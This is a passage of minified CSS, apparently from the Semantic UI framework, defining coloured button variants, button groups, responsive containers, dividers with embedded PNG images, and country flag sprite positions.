.button:active{box-shadow:0 0 0 1px #8d9e13 inset!important;color:#8d9e13!important}.ui.buttons:not(.vertical)>.basic.olive.button:not(:first-child){margin-left:-1px}.ui.inverted.olive.button,.ui.inverted.olive.buttons .button{background-color:transparent;box-shadow:0 0 0 2px #D9E778 inset!important;color:#D9E778}.ui.inverted.olive.button.active,.ui.inverted.olive.button:active,.ui.inverted.olive.button:focus,.ui.inverted.olive.button:hover,.ui.inverted.olive.buttons .button.active,.ui.inverted.olive.buttons .button:active,.ui.inverted.olive.buttons .button:focus,.ui.inverted.olive.buttons .button:hover{box-shadow:none!important;color:rgba(0,0,0,.6)}.ui.inverted.olive.button:hover,.ui.inverted.olive.buttons .button:hover{background-color:#d8ea5c}.ui.inverted.olive.button:focus,.ui.inverted.olive.buttons .button:focus{background-color:#daef47}.ui.inverted.olive.active.button,.ui.inverted.olive.buttons .active.button{background-color:#daed59}.ui.inverted.olive.button:active,.ui.inverted.olive.buttons .button:active{background-color:#cddf4d}.ui.inverted.olive.basic.button,.ui.inverted.olive.basic.buttons .button,.ui.inverted.olive.buttons .basic.button{background-color:transparent;box-shadow:0 0 0 2px rgba(255,255,255,.5) inset!important;color:#FFF!important}.ui.inverted.olive.basic.button:hover,.ui.inverted.olive.basic.buttons .button:hover,.ui.inverted.olive.buttons .basic.button:hover{box-shadow:0 0 0 2px #d8ea5c inset!important;color:#D9E778!important}.ui.inverted.olive.basic.button:focus,.ui.inverted.olive.basic.buttons .button:focus{box-shadow:0 0 0 2px #daef47 inset!important;color:#D9E778!important}.ui.inverted.olive.basic.active.button,.ui.inverted.olive.basic.buttons .active.button,.ui.inverted.olive.buttons .basic.active.button{box-shadow:0 0 0 2px #daed59 inset!important;color:#D9E778!important}.ui.inverted.olive.basic.button:active,.ui.inverted.olive.basic.buttons .button:active,.ui.inverted.olive.buttons .basic.button:active{box-shadow:0 0 0 2px #cddf4d inset!important;color:#D9E778!important}.ui.yellow.button,.ui.yellow.buttons .button{background-color:#FBBD08;color:#FFF;text-shadow:none;background-image:none}.ui.yellow.button{box-shadow:0 0 0 0 rgba(34,36,38,.15) inset}.ui.yellow.button:hover,.ui.yellow.buttons .button:hover{background-color:#eaae00;color:#FFF;text-shadow:none}.ui.yellow.button:focus,.ui.yellow.buttons .button:focus{background-color:#daa300;color:#FFF;text-shadow:none}.ui.yellow.button:active,.ui.yellow.buttons .button:active{background-color:#cd9903;color:#FFF;text-shadow:none}.ui.yellow.active.button,.ui.yellow.button .active.button:active,.ui.yellow.buttons .active.button,.ui.yellow.buttons .active.button:active{background-color:#eaae00;color:#FFF;text-shadow:none}.ui.basic.yellow.button,.ui.basic.yellow.buttons .button{box-shadow:0 0 0 1px #FBBD08 inset!important;color:#FBBD08!important}.ui.basic.yellow.button:hover,.ui.basic.yellow.buttons .button:hover{background:0 0!important;box-shadow:0 0 0 1px #eaae00 inset!important;color:#eaae00!important}.ui.basic.yellow.button:focus,.ui.basic.yellow.buttons .button:focus{background:0 0!important;box-shadow:0 0 0 1px #daa300 inset!important;color:#eaae00!important}.ui.basic.yellow.active.button,.ui.basic.yellow.buttons .active.button{background:0 0!important;box-shadow:0 0 0 1px #eaae00 inset!important;color:#cd9903!important}.ui.basic.yellow.button:active,.ui.basic.yellow.buttons .button:active{box-shadow:0 0 0 1px #cd9903 inset!important;color:#cd9903!important}.ui.buttons:not(.vertical)>.basic.yellow.button:not(:first-child){margin-left:-1px}.ui.inverted.yellow.button,.ui.inverted.yellow.buttons .button{background-color:transparent;box-shadow:0 0 0 2px #FFE21F inset!important;color:#FFE21F}.ui.inverted.yellow.button.active,.ui.inverted.yellow.button:active,.ui.inverted.yellow.button:focus,.ui.inverted.yellow.button:hover,.ui.inverted.yellow.buttons .button.active,.ui.inverted.yellow.buttons .button:active,.ui.inverted.yellow.buttons .button:focus,.ui.inverted.yellow.buttons .button:hover{box-shadow:none!important;color:rgba(0,0,0,.6)}.ui.inverted.yellow.button:hover,.ui.inverted.yellow.buttons .button:hover{background-color:#ffdf05}.ui.inverted.yellow.button:focus,.ui.inverted.yellow.buttons .button:focus{background-color:#f5d500}.ui.inverted.yellow.active.button,.ui.inverted.yellow.buttons .active.button{background-color:#ffdf05}.ui.inverted.yellow.button:active,.ui.inverted.yellow.buttons .button:active{background-color:#ebcd00}.ui.inverted.yellow.basic.button,.ui.inverted.yellow.basic.buttons .button,.ui.inverted.yellow.buttons .basic.button{background-color:transparent;box-shadow:0 0 0 2px rgba(255,255,255,.5) inset!important;color:#FFF!important}.ui.inverted.yellow.basic.button:hover,.ui.inverted.yellow.basic.buttons .button:hover,.ui.inverted.yellow.buttons .basic.button:hover{box-shadow:0 0 0 2px #ffdf05 inset!important;color:#FFE21F!important}.ui.inverted.yellow.basic.button:focus,.ui.inverted.yellow.basic.buttons .button:focus{box-shadow:0 0 0 2px #f5d500 inset!important;color:#FFE21F!important}.ui.inverted.yellow.basic.active.button,.ui.inverted.yellow.basic.buttons .active.button,.ui.inverted.yellow.buttons .basic.active.button{box-shadow:0 0 0 2px #ffdf05 inset!important;color:#FFE21F!important}.ui.inverted.yellow.basic.button:active,.ui.inverted.yellow.basic.buttons .button:active,.ui.inverted.yellow.buttons .basic.button:active{box-shadow:0 0 0 2px #ebcd00 inset!important;color:#FFE21F!important}.ui.primary.button,.ui.primary.buttons .button{background-color:#2185D0;color:#FFF;text-shadow:none;background-image:none}.ui.primary.button{box-shadow:0 0 0 0 rgba(34,36,38,.15) inset}.ui.primary.button:hover,.ui.primary.buttons .button:hover{background-color:#1678c2;color:#FFF;text-shadow:none}.ui.primary.button:focus,.ui.primary.buttons .button:focus{background-color:#0d71bb;color:#FFF;text-shadow:none}.ui.primary.button:active,.ui.primary.buttons .button:active{background-color:#1a69a4;color:#FFF;text-shadow:none}.ui.primary.active.button,.ui.primary.button .active.button:active,.ui.primary.buttons .active.button,.ui.primary.buttons .active.button:active{background-color:#1279c6;color:#FFF;text-shadow:none}.ui.basic.primary.button,.ui.basic.primary.buttons .button{box-shadow:0 0 0 1px #2185D0 inset!important;color:#2185D0!important}.ui.basic.primary.button:hover,.ui.basic.primary.buttons .button:hover{background:0 0!important;box-shadow:0 0 0 1px #1678c2 inset!important;color:#1678c2!important}.ui.basic.primary.button:focus,.ui.basic.primary.buttons .button:focus{background:0 0!important;box-shadow:0 0 0 1px #0d71bb inset!important;color:#1678c2!important}.ui.basic.primary.active.button,.ui.basic.primary.buttons .active.button{background:0 0!important;box-shadow:0 0 0 1px #1279c6 inset!important;color:#1a69a4!important}.ui.basic.primary.button:active,.ui.basic.primary.buttons .button:active{box-shadow:0 0 0 1px #1a69a4 inset!important;color:#1a69a4!important}.ui.secondary.button,.ui.secondary.buttons .button{background-color:#1B1C1D;color:#FFF;text-shadow:none;background-image:none}.ui.secondary.button{box-shadow:0 0 0 0 rgba(34,36,38,.15) inset}.ui.secondary.button:hover,.ui.secondary.buttons .button:hover{background-color:#27292a;color:#FFF;text-shadow:none}.ui.secondary.button:focus,.ui.secondary.buttons .button:focus{background-color:#2e3032;color:#FFF;text-shadow:none}.ui.secondary.button:active,.ui.secondary.buttons .button:active{background-color:#343637;color:#FFF;text-shadow:none}.ui.secondary.active.button,.ui.secondary.button .active.button:active,.ui.secondary.buttons .active.button,.ui.secondary.buttons .active.button:active{background-color:#27292a;color:#FFF;text-shadow:none}.ui.basic.secondary.button,.ui.basic.secondary.buttons .button{box-shadow:0 0 0 1px #1B1C1D inset!important;color:#1B1C1D!important}.ui.basic.secondary.button:hover,.ui.basic.secondary.buttons .button:hover{background:0 0!important;box-shadow:0 0 0 1px #27292a inset!important;color:#27292a!important}.ui.basic.secondary.button:focus,.ui.basic.secondary.buttons .button:focus{background:0 0!important;box-shadow:0 0 0 1px #2e3032 inset!important;color:#27292a!important}.ui.basic.secondary.active.button,.ui.basic.secondary.buttons .active.button{background:0 0!important;box-shadow:0 0 0 1px #27292a inset!important;color:#343637!important}.ui.basic.secondary.button:active,.ui.basic.secondary.buttons .button:active{box-shadow:0 0 0 1px #343637 inset!important;color:#343637!important}.ui.positive.button,.ui.positive.buttons .button{background-color:#21BA45;color:#FFF;text-shadow:none;background-image:none}.ui.positive.button{box-shadow:0 0 0 0 rgba(34,36,38,.15) inset}.ui.positive.button:hover,.ui.positive.buttons .button:hover{background-color:#16ab39;color:#FFF;text-shadow:none}.ui.positive.button:focus,.ui.positive.buttons .button:focus{background-color:#0ea432;color:#FFF;text-shadow:none}.ui.positive.button:active,.ui.positive.buttons .button:active{background-color:#198f35;color:#FFF;text-shadow:none}.ui.positive.active.button,.ui.positive.button .active.button:active,.ui.positive.buttons .active.button,.ui.positive.buttons .active.button:active{background-color:#13ae38;color:#FFF;text-shadow:none}.ui.basic.positive.button,.ui.basic.positive.buttons .button{box-shadow:0 0 0 1px #21BA45 inset!important;color:#21BA45!important}.ui.basic.positive.button:hover,.ui.basic.positive.buttons .button:hover{background:0 0!important;box-shadow:0 0 0 1px #16ab39 inset!important;color:#16ab39!important}.ui.basic.positive.button:focus,.ui.basic.positive.buttons .button:focus{background:0 0!important;box-shadow:0 0 0 1px #0ea432 inset!important;color:#16ab39!important}.ui.basic.positive.active.button,.ui.basic.positive.buttons .active.button{background:0 0!important;box-shadow:0 0 0 1px #13ae38 inset!important;color:#198f35!important}.ui.basic.positive.button:active,.ui.basic.positive.buttons .button:active{box-shadow:0 0 0 1px #198f35 inset!important;color:#198f35!important}.ui.negative.button,.ui.negative.buttons .button{background-color:#DB2828;color:#FFF;text-shadow:none;background-image:none}.ui.negative.button{box-shadow:0 0 0 0 rgba(34,36,38,.15) inset}.ui.negative.button:hover,.ui.negative.buttons .button:hover{background-color:#d01919;color:#FFF;text-shadow:none}.ui.negative.button:focus,.ui.negative.buttons .button:focus{background-color:#ca1010;color:#FFF;text-shadow:none}.ui.negative.button:active,.ui.negative.buttons .button:active{background-color:#b21e1e;color:#FFF;text-shadow:none}.ui.negative.active.button,.ui.negative.button .active.button:active,.ui.negative.buttons .active.button,.ui.negative.buttons .active.button:active{background-color:#d41515;color:#FFF;text-shadow:none}.ui.basic.negative.button,.ui.basic.negative.buttons .button{box-shadow:0 0 0 1px #DB2828 inset!important;color:#DB2828!important}.ui.basic.negative.button:hover,.ui.basic.negative.buttons .button:hover{background:0 0!important;box-shadow:0 0 0 1px #d01919 inset!important;color:#d01919!important}.ui.basic.negative.button:focus,.ui.basic.negative.buttons .button:focus{background:0 0!important;box-shadow:0 0 0 1px #ca1010 inset!important;color:#d01919!important}.ui.basic.negative.active.button,.ui.basic.negative.buttons .active.button{background:0 0!important;box-shadow:0 0 0 1px #d41515 inset!important;color:#b21e1e!important}.ui.basic.negative.button:active,.ui.basic.negative.buttons .button:active{box-shadow:0 0 0 1px #b21e1e inset!important;color:#b21e1e!important}.ui.buttons:not(.vertical)>.basic.primary.button:not(:first-child){margin-left:-1px}.ui.buttons{display:-webkit-inline-box;display:-webkit-inline-flex;display:-ms-inline-flexbox;display:inline-flex;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-webkit-flex-direction:row;-ms-flex-direction:row;flex-direction:row;font-size:0;vertical-align:baseline;margin:0 .25em 0 0}.ui.buttons:not(.basic):not(.inverted){box-shadow:none}.ui.buttons:after{content:".";display:block;height:0;clear:both;visibility:hidden}.ui.buttons .button{-webkit-box-flex:1;-webkit-flex:1 0 auto;-ms-flex:1 0 auto;flex:1 0 auto;border-radius:0;margin:0}.ui.buttons:not(.basic):not(.inverted)>.button,.ui.buttons>.ui.button:not(.basic):not(.inverted){box-shadow:0 0 0 1px transparent inset,0 0 0 0 rgba(34,36,38,.15) inset}.ui.buttons .button:first-child{border-left:none;margin-left:0;border-top-left-radius:.28571429rem;border-bottom-left-radius:.28571429rem}.ui.buttons .button:last-child{border-top-right-radius:.28571429rem;border-bottom-right-radius:.28571429rem}.ui.vertical.buttons{display:-webkit-inline-box;display:-webkit-inline-flex;display:-ms-inline-flexbox;display:inline-flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column}.ui.vertical.buttons .button{display:block;float:none;width:100%;margin:0;box-shadow:none;border-radius:0}.ui.vertical.buttons .button:first-child{border-top-left-radius:.28571429rem;border-top-right-radius:.28571429rem}.ui.vertical.buttons .button:last-child{margin-bottom:0;border-bottom-left-radius:.28571429rem;border-bottom-right-radius:.28571429rem}.ui.vertical.buttons .button:only-child{border-radius:.28571429rem}.ui.container{display:block;max-width:100%!important}@media only screen and (max-width:767px){.ui.container{width:auto!important;margin-left:1em!important;margin-right:1em!important}.ui.grid.container,.ui.relaxed.grid.container,.ui.very.relaxed.grid.container{width:auto!important}}@media only screen and (min-width:768px) and (max-width:991px){.ui.container{width:723px;margin-left:auto!important;margin-right:auto!important}.ui.grid.container{width:calc(723px + 2rem)!important}.ui.relaxed.grid.container{width:calc(723px + 3rem)!important}.ui.very.relaxed.grid.container{width:calc(723px + 5rem)!important}}@media only screen and (min-width:992px) and (max-width:1199px){.ui.container{width:933px;margin-left:auto!important;margin-right:auto!important}.ui.grid.container{width:calc(933px + 2rem)!important}.ui.relaxed.grid.container{width:calc(933px + 3rem)!important}.ui.very.relaxed.grid.container{width:calc(933px + 5rem)!important}}@media only screen and (min-width:1200px){.ui.container{width:1127px;margin-left:auto!important;margin-right:auto!important}.ui.grid.container{width:calc(1127px + 2rem)!important}.ui.relaxed.grid.container{width:calc(1127px + 3rem)!important}.ui.very.relaxed.grid.container{width:calc(1127px + 5rem)!important}}.ui.text.container{max-width:700px!important;line-height:1.5;font-size:1.14285714rem}.ui.fluid.container{width:100%}.ui[class*="left aligned"].container{text-align:left}.ui[class*="center aligned"].container{text-align:center}.ui[class*="right aligned"].container{text-align:right}.ui.justified.container{text-align:justify;-webkit-hyphens:auto;-moz-hyphens:auto;-ms-hyphens:auto;hyphens:auto}.ui.divider{margin:1rem 0;line-height:1;height:0;font-weight:700;text-transform:uppercase;letter-spacing:.05em;color:rgba(0,0,0,.85);-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;-webkit-tap-highlight-color:transparent;font-size:1rem}.ui.divider:not(.vertical):not(.horizontal){border-top:1px solid rgba(34,36,38,.15);border-bottom:1px solid rgba(255,255,255,.1)}.ui.grid>.column+.divider,.ui.grid>.row>.column+.divider{left:auto}.ui.horizontal.divider{display:table;white-space:nowrap;height:auto;margin:'';line-height:1;text-align:center}.ui.horizontal.divider:after,.ui.horizontal.divider:before{content:'';display:table-cell;position:relative;top:50%;width:50%;background-repeat:no-repeat;background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABaAAAAACCAYAAACuTHuKAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAyFpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuNS1jMDE0IDc5LjE1MTQ4MSwgMjAxMy8wMy8xMy0xMjowOToxNSAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvIiB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIgeG1sbnM6c3RSZWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZVJlZiMiIHhtcDpDcmVhdG9yVG9vbD0iQWRvYmUgUGhvdG9zaG9wIENDIChXaW5kb3dzKSIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDo1OThBRDY4OUNDMTYxMUU0OUE3NUVGOEJDMzMzMjE2NyIgeG1wTU06RG9jdW1lbnRJRD0ieG1wLmRpZDo1OThBRDY4QUNDMTYxMUU0OUE3NUVGOEJDMzMzMjE2NyI+IDx4bXBNTTpEZXJpdmVkRnJvbSBzdFJlZjppbnN0YW5jZUlEPSJ4bXAuaWlkOjU5OEFENjg3Q0MxNjExRTQ5QTc1RUY4QkMzMzMyMTY3IiBzdFJlZjpkb2N1bWVudElEPSJ4bXAuZGlkOjU5OEFENjg4Q0MxNjExRTQ5QTc1RUY4QkMzMzMyMTY3Ii8+IDwvcmRmOkRlc2NyaXB0aW9uPiA8L3JkZjpSREY+IDwveDp4bXBtZXRhPiA8P3hwYWNrZXQgZW5kPSJyIj8+VU513gAAADVJREFUeNrs0DENACAQBDBIWLGBJQby/mUcJn5sJXQmOQMAAAAAAJqt+2prAAAAAACg2xdgANk6BEVuJgyMAAAAAElFTkSuQmCC)}.ui.horizontal.divider:before{background-position:right 1em top 50%}.ui.horizontal.divider:after{background-position:left 1em top 50%}.ui.vertical.divider{position:absolute;z-index:2;top:50%;left:50%;margin:0;padding:0;width:auto;height:50%;line-height:0;text-align:center;-webkit-transform:translateX(-50%);-ms-transform:translateX(-50%);transform:translateX(-50%)}.ui.vertical.divider:after,.ui.vertical.divider:before{position:absolute;left:50%;content:'';z-index:3;border-left:1px solid rgba(34,36,38,.15);border-right:1px solid rgba(255,255,255,.1);width:0;height:calc(100% - 1rem)}.ui.vertical.divider:before{top:-100%}.ui.vertical.divider:after{top:auto;bottom:0}@media only screen and (max-width:767px){.ui.grid .stackable.row .ui.vertical.divider,.ui.stackable.grid .ui.vertical.divider{display:table;white-space:nowrap;height:auto;margin:'';overflow:hidden;line-height:1;text-align:center;position:static;top:0;left:0;-webkit-transform:none;-ms-transform:none;transform:none}.ui.grid .stackable.row .ui.vertical.divider:after,.ui.grid .stackable.row .ui.vertical.divider:before,.ui.stackable.grid .ui.vertical.divider:after,.ui.stackable.grid .ui.vertical.divider:before{left:0;border-left:none;border-right:none;content:'';display:table-cell;position:relative;top:50%;width:50%;background-repeat:no-repeat;background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABaAAAAACCAYAAACuTHuKAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAyFpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuNS1jMDE0IDc5LjE1MTQ4MSwgMjAxMy8wMy8xMy0xMjowOToxNSAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvIiB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIgeG1sbnM6c3RSZWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZVJlZiMiIHhtcDpDcmVhdG9yVG9vbD0iQWRvYmUgUGhvdG9zaG9wIENDIChXaW5kb3dzKSIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDo1OThBRDY4OUNDMTYxMUU0OUE3NUVGOEJDMzMzMjE2NyIgeG1wTU06RG9jdW1lbnRJRD0ieG1wLmRpZDo1OThBRDY4QUNDMTYxMUU0OUE3NUVGOEJDMzMzMjE2NyI+IDx4bXBNTTpEZXJpdmVkRnJvbSBzdFJlZjppbnN0YW5jZUlEPSJ4bXAuaWlkOjU5OEFENjg3Q0MxNjExRTQ5QTc1RUY4QkMzMzMyMTY3IiBzdFJlZjpkb2N1bWVudElEPSJ4bXAuZGlkOjU5OEFENjg4Q0MxNjExRTQ5QTc1RUY4QkMzMzMyMTY3Ii8+IDwvcmRmOkRlc2NyaXB0aW9uPiA8L3JkZjpSREY+IDwveDp4bXBtZXRhPiA8P3hwYWNrZXQgZW5kPSJyIj8+VU513gAAADVJREFUeNrs0DENACAQBDBIWLGBJQby/mUcJn5sJXQmOQMAAAAAAJqt+2prAAAAAACg2xdgANk6BEVuJgyMAAAAAElFTkSuQmCC)}.ui.grid .stackable.row .ui.vertical.divider:before,.ui.stackable.grid .ui.vertical.divider:before{background-position:right 1em top 50%}.ui.grid .stackable.row .ui.vertical.divider:after,.ui.stackable.grid .ui.vertical.divider:after{background-position:left 1em top 50%}}.ui.divider>.icon{margin:0;font-size:1rem;height:1em;vertical-align:middle}.ui.hidden.divider{border-color:transparent!important}.ui.hidden.divider:after,.ui.hidden.divider:before{display:none}.ui.divider.inverted,.ui.horizontal.inverted.divider,.ui.vertical.inverted.divider{color:#FFF}.ui.divider.inverted,.ui.divider.inverted:after,.ui.divider.inverted:before{border-top-color:rgba(34,36,38,.15)!important;border-left-color:rgba(34,36,38,.15)!important;border-bottom-color:rgba(255,255,255,.15)!important;border-right-color:rgba(255,255,255,.15)!important}.ui.fitted.divider{margin:0}.ui.clearing.divider{clear:both}.ui.section.divider{margin-top:2rem;margin-bottom:2rem}i.flag:not(.icon){display:inline-block;width:16px;height:11px;line-height:11px;vertical-align:baseline;margin:0 .5em 0 0;text-decoration:inherit;speak:none;font-smoothing:antialiased;-webkit-backface-visibility:hidden;backface-visibility:hidden}i.flag:not(.icon):before{display:inline-block;content:'';background:url(themes/default/assets/images/flags.png) -108px -1976px no-repeat;width:16px;height:11px}i.flag.ad:before,i.flag.andorra:before{background-position:0 0}i.flag.ae:before,i.flag.uae:before,i.flag.united.arab.emirates:before{background-position:0 -26px}i.flag.af:before,i.flag.afghanistan:before{background-position:0 -52px}i.flag.ag:before,i.flag.antigua:before{background-position:0 -78px}i.flag.ai:before,i.flag.anguilla:before{background-position:0 -104px}i.flag.al:before,i.flag.albania:before{background-position:0 -130px}i.flag.am:before,i.flag.armenia:before{background-position:0 -156px}i.flag.an:before,i.flag.netherlands.antilles:before{background-position:0 -182px}i.flag.angola:before,i.flag.ao:before{background-position:0 -208px}i.flag.ar:before,i.flag.argentina:before{background-position:0 -234px}i.flag.american.samoa:before,i.flag.as:before{background-position:0 -260px}i.flag.at:before,i.flag.austria:before{background-position:0 -286px}i.flag.au:before,i.flag.australia:before{background-position:0 -312px}i.flag.aruba:before,i.flag.aw:before{background-position:0 -338px}i.flag.aland.islands:before,i.flag.ax:before{background-position:0 -364px}i.flag.az:before,i.flag.azerbaijan:before{background-position:0 -390px}i.flag.ba:before,i.flag.bosnia:before{background-position:0 -416px}i.flag.barbados:before,i.flag.bb:before{background-position:0 -442px}i.flag.bangladesh:before,i.flag.bd:before{background-position:0 -468px}i.flag.be:before,i.flag.belgium:before{background-position:0 -494px}i.flag.bf:before,i.flag.burkina.faso:before{background-position:0 -520px}i.flag.bg:before,i.flag.bulgaria:before{background-position:0 -546px}i.flag.bahrain:before,i.flag.bh:before{background-position:0 -572px}i.flag.bi:before,i.flag.burundi:before{background-position:0 -598px}i.flag.benin:before,i.flag.bj:before{background-position:0 -624px}i.flag.bermuda:before,i.flag.bm:before{background-position:0 -650px}i.flag.bn:before,i.flag.brunei:before{background-position:0 -676px}i.flag.bo:before,i.flag.bolivia:before{background-position:0 -702px}i.flag.br:before,i.flag.brazil:before{background-position:0 -728px}i.flag.bahamas:before,i.flag.bs:before{background-position:0 -754px}i.flag.bhutan:before,i.flag.bt:before{background-position:0 -780px}i.flag.bouvet.island:before,i.flag.bv:before{background-position:0 -806px}i.flag.botswana:before,i.flag.bw:before{background-position:0 -832px}i.flag.belarus:before,i.flag.by:before{background-position:0 -858px}i.flag.belize:before,i.flag.bz:before{background-position:0 -884px}i.flag.ca:before,i.flag.canada:before{background-position:0 -910px}i.flag.cc:before,i.flag.cocos.islands:before{background-position:0 -962px}i.flag.cd:before,i.flag.congo:before{background-position:0 -988px}i.flag.central.african.republic:before,i.flag.cf:before{background-position:0 -1014px}i.flag.cg:before,i.flag.congo.brazzaville:before{background-position:0 -1040px}i.flag.ch:before,i.flag.switzerland:before{background-position:0 -1066px}i.flag.ci:before,i.flag.cote.divoire:before{background-position:0 -1092px}i.flag.ck:before,i.flag.cook.islands:before{background-position:0 -1118px}i.flag.chile:before,i.flag.cl:before{background-position:0 -1144px}i.flag.cameroon:before,i.flag.cm:before{background-position:0 -1170px}i.flag.china:before,i.flag.cn:before{background-position:0 -1196px}i.flag.co:before,i.flag.colombia:before{background-position:0 -1222px}i.flag.costa.rica:before,i.flag.cr:before{background-position:0 -1248px}i.flag.cs:before,i.flag.serbia:before{background-position:0 -1274px}i.flag.cu:before,i.flag.cuba:before{background-position:0 -1300px}i.flag.cape.verde:before,i.flag.cv:before{background-position:0 -1326px}i.flag.christmas.island:before,i.flag.cx:before{background-position:0 -1352px}i.flag.cy:before,i.flag.cyprus:before{background-position:0 -1378px}i.flag.cz:before,i.flag.czech.republic:before{background-position:0 -1404px}i.flag.de:before,i.flag.germany:before{background-position:0 -1430px}i.flag.dj:before,i.flag.djibouti:before{background-position:0 -1456px}i.flag.denmark:before,i.flag.dk:before{background-position:0 -1482px}i.flag.dm:before,i.flag.dominica:before{background-position:0 -1508px}i.flag.do:before,i.flag.dominican.republic:before{background-position:0 -1534px}i.flag.algeria:before,i.flag.dz:before{background-position:0 -1560px}i.flag.ec:before,i.flag.ecuador:before{background-position:0 -1586px}i.flag.ee:before,i.flag.estonia:before{background-position:0 -1612px}i.flag.eg:before,i.flag.egypt:before{background-position:0 -1638px}i.flag.eh:before,i.flag.western.sahara:before{background-position:0 -1664px}i.flag.er:before,i.flag.eritrea:before{background-position:0 -1716px}i.flag.es:before,i.flag.spain:before{background-position:0 -1742px}i.flag.et:before,i.flag.ethiopia:before{background-position:0 -1768px}i.flag.eu:before,i.flag.european.union:before{background-position:0 -1794px}i.flag.fi:before,i.flag.finland:before{background-position:0 -1846px}i.flag.fiji:before,i.flag.fj:before{background-position:0 -1872px}i.flag.falkland.islands:before,i.flag.fk:before{background-position:0 -1898px}i.flag.fm:before,i.flag.micronesia:before{background-position:0 -1924px}i.flag.faroe.islands:before,i.flag.fo:before{background-position:0 -1950px}i.flag.fr:before,i.flag.france:before{background-position:0 -1976px}i.flag.ga:before,i.flag.gabon:before{background-position:-36px 0}i.flag.gb:before,i.flag.united.kingdom:before{background-position:-36px -26px}i.flag.gd:before,i.flag.grenada:before{background-position:-36px -52px}i.flag.ge:before,i.flag.georgia:before{background-position:-36px -78px}i.flag.french.guiana:before,i.flag.gf:before{background-position:-36px -104px}i.flag.gh:before,i.flag.ghana:before{background-position:-36px -130px}i.flag.gi:before,i.flag.gibraltar:before{background-position:-36px -156px}i.flag.gl:before,i.flag.greenland:before{background-position:-36px -182px}i.flag.gambia:before,i.flag.gm:before{background-position:-36px -208px}i.flag.gn:before,i.flag.guinea:before{background-position:-36px -234px}i.flag.gp:before,i.flag.guadeloupe:before{background-position:-36px -260px}i.flag.equatorial.guinea:before,i.flag.gq:before{background-position:-36px -286px}i.flag.gr:before,i.flag.greece:before{background-position:-36px -312px}i.flag.gs:before,i.flag.sandwich.islands:before{background-position:-36px -338px}i.flag.gt:before,i.flag.guatemala:before{background-position:-36px -364px}i.flag.gu:before,i.flag.guam:before{background-position:-36px -390px}i.flag.guinea-bissau:before,i.flag.gw:before{background-position:-36px -416px}i.flag.guyana:before,i.flag.gy:before{background-position:-36px -442px}i.flag.hk:before,i.flag.hong.kong:before{background-position:-36px -468px}i.flag.heard.island:before,i.flag.hm:before{background-position:-36px -494px}i.flag.hn:before,i.flag.honduras:before{background-position:-36px -520px}i.flag.croatia:before,i.flag.hr:before{background-position:-36px -546px}i.flag.haiti:before,i.flag.ht:before{background-position:-36px -572px}i.flag.hu:before,i.flag.hungary:before{background-position:-36px -598px}i.flag.id:before,i.flag.indonesia:before{background-position:-36px -624px}i.flag.ie:before,i.flag.ireland:before{background-position:-36px -650px}i.flag.il:before,i.flag.israel:before{background-position:-36px -676px}i.flag.in:before,i.flag.india:before{background-position:-36px -702px}i.flag.indian.ocean.territory:before,i.flag.io:before{background-position:-36px -728px}i.flag.iq:before,i.flag.iraq:before{background-position:-36px -754px}i.flag.ir:before,i.flag.iran:before{background-position:-36px -780px}i.flag.iceland:before,i.flag.is:before{background-position:-36px -806px}i.flag.it:before,i.flag.italy:before{background-position:-36px -832px}i.flag.jamaica:before,i.flag.jm:before{background-position:-36px -858px}i.flag.jo:before,i.flag.jordan:before{background-position:-36px -884px}i.flag.japan:before,i.flag.jp:before{background-position:-36px -910px}i.flag.ke:before,i.flag.kenya:before{background-position:-36px -936px}i.flag.kg:before,i.flag.kyrgyzstan:before{background-position:-36px -962px}i.flag.cambodia:before,i.flag.kh:before{background-position:-36px -988px}i.flag.ki:before,i.flag.kiribati:before{background-position:-36px -1014px}i.flag.comoros:before,i.flag.km:before{background-position:-36px -1040px}i.flag.kn:before,i.flag.saint.kitts.and.nevis:before{background-position:-36px -1066px}i.flag.kp:before,i.flag.north.korea:before{background-position:-36px -1092px}i.flag.kr:before,i.flag.south.korea:before{background-position:-36px -1118px}i.flag.kuwait:before,i.flag.kw:before{background-position:-36px -1144px}i.flag.cayman.islands:before,i.flag.ky:before{background-position:-36px 